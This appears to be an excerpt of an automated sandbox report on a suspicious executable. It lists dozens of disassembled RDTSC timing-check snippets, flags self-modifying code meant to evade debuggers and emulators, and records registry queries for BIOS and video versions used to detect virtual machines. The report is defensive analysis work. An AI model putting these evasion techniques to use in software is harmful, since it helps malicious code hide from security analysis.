Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65C6 second address: 5D65CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65CC second address: 5D65D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65D0 second address: 5D65D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65D4 second address: 5D65EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F244F40DDh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D68BD second address: 5D68D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F24EE2700h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D68D8 second address: 5D68F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3F244F40E8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D68F6 second address: 5D6911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F3F24EE2705h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6911 second address: 5D693C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F3F244F40DFh 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D693C second address: 5D6944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6944 second address: 5D694C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D694C second address: 5D6952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6952 second address: 5D6961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007F3F244F40DEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD08F second address: 5DD099 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD099 second address: 5DD0D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F3F244F40DAh 0x00000011 push edx 0x00000012 pop edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push ecx 0x00000016 ja 00007F3F244F40D6h 0x0000001c jmp 00007F3F244F40E1h 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD275 second address: 5DD27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD27B second address: 5DD27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD27F second address: 5DD283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD5D3 second address: 5DD5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD727 second address: 5DD72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD882 second address: 5DD886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD886 second address: 5DD89C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F3F24EE26F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD89C second address: 5DD8A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD8A0 second address: 5DD8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F24EE2701h 0x0000000d jns 00007F3F24EE26F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD8BF second address: 5DD8EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F3F244F40E0h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3F244F40E1h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDBD8 second address: 5DDBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F3F24EE2704h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDBFB second address: 5DDC03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDC03 second address: 5DDC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3F24EE2700h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDC18 second address: 5DDC35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3F244F40E0h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7604 second address: 5E7610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3F24EE26F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7610 second address: 5E762F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F3F244F40E3h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E762F second address: 5E7638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7638 second address: 5E763E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E763E second address: 5E7644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7644 second address: 5E764A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E764A second address: 5E764E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7359 second address: 5E735D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1F91 second address: 5F1FAE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3F24EE26F6h 0x00000008 jnc 00007F3F24EE26F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F3F24EE26FDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1FAE second address: 5F1FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F3F244F40D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1FBA second address: 5F1FC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F24EE26F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1FC9 second address: 5F1FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F3F244F40E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1FE4 second address: 5F1FFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F24EE2706h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAC78 second address: 5FAC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD000 second address: 5FD022 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2701h 0x00000007 jmp 00007F3F24EE26FAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6090CA second address: 609114 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F244F40F2h 0x00000008 jp 00007F3F244F40EBh 0x0000000e jmp 00007F3F244F40E5h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F3F244F40D6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609114 second address: 609118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609118 second address: 60911E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B947 second address: 60B94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B94D second address: 60B956 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B956 second address: 60B95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B70 second address: 613B74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B74 second address: 613B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F3F24EE26FAh 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F3F24EE26F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B8F second address: 613B95 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B95 second address: 613B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613B9B second address: 613BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61285C second address: 612861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612C9A second address: 612CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F3F244F40D6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CBE second address: 612CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CC2 second address: 612CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CDB second address: 612CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3F24EE26F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CE7 second address: 612CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CEB second address: 612CF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612CF4 second address: 612D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F3F244F40DBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3F244F40E1h 0x00000016 jmp 00007F3F244F40E2h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612D2E second address: 612D34 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612ECD second address: 612ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612ED3 second address: 612ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612ED7 second address: 612F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3F244F40E3h 0x0000000c jng 00007F3F244F40D6h 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3F244F40DAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61739B second address: 6173A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625DC2 second address: 625DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F3F244F40D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jp 00007F3F244F40D6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 jmp 00007F3F244F40E8h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jbe 00007F3F244F40DEh 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6273B9 second address: 6273E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3F24EE2704h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F3F24EE26F6h 0x00000014 pop esi 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007F3F24EE26F6h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628B66 second address: 628B6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A3EA second address: 62A3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A3F0 second address: 62A3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F3F244F40D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A3FD second address: 62A429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2701h 0x00000007 ja 00007F3F24EE26F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 jl 00007F3F24EE26F6h 0x0000001b pushad 0x0000001c popad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A429 second address: 62A42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636F53 second address: 636F5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636F5B second address: 636F62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636F62 second address: 636F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3F24EE26F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638A51 second address: 638A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F3F244F40E0h 0x0000000e js 00007F3F244F40D8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638C26 second address: 638C30 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F24EE26FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649855 second address: 64985B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64985B second address: 649869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3F24EE26F8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648941 second address: 64894B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3F244F40D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649070 second address: 64908D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F3F24EE26FAh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jnp 00007F3F24EE26F8h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649492 second address: 649498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649498 second address: 6494A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6494A3 second address: 6494A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C41F second address: 64C425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FA34 second address: 64FA6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3F244F40E1h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3F244F40E2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FA6C second address: 64FA71 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0275 second address: 4CB027A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB027A second address: 4CB02DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3F24EE26FDh 0x00000009 jmp 00007F3F24EE26FBh 0x0000000e popfd 0x0000000f jmp 00007F3F24EE2708h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F3F24EE26FBh 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F3F24EE2706h 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02DC second address: 4CB02E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02E2 second address: 4CB02E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E71A second address: 56E720 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3C17D2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 58E55F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5ECEE7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

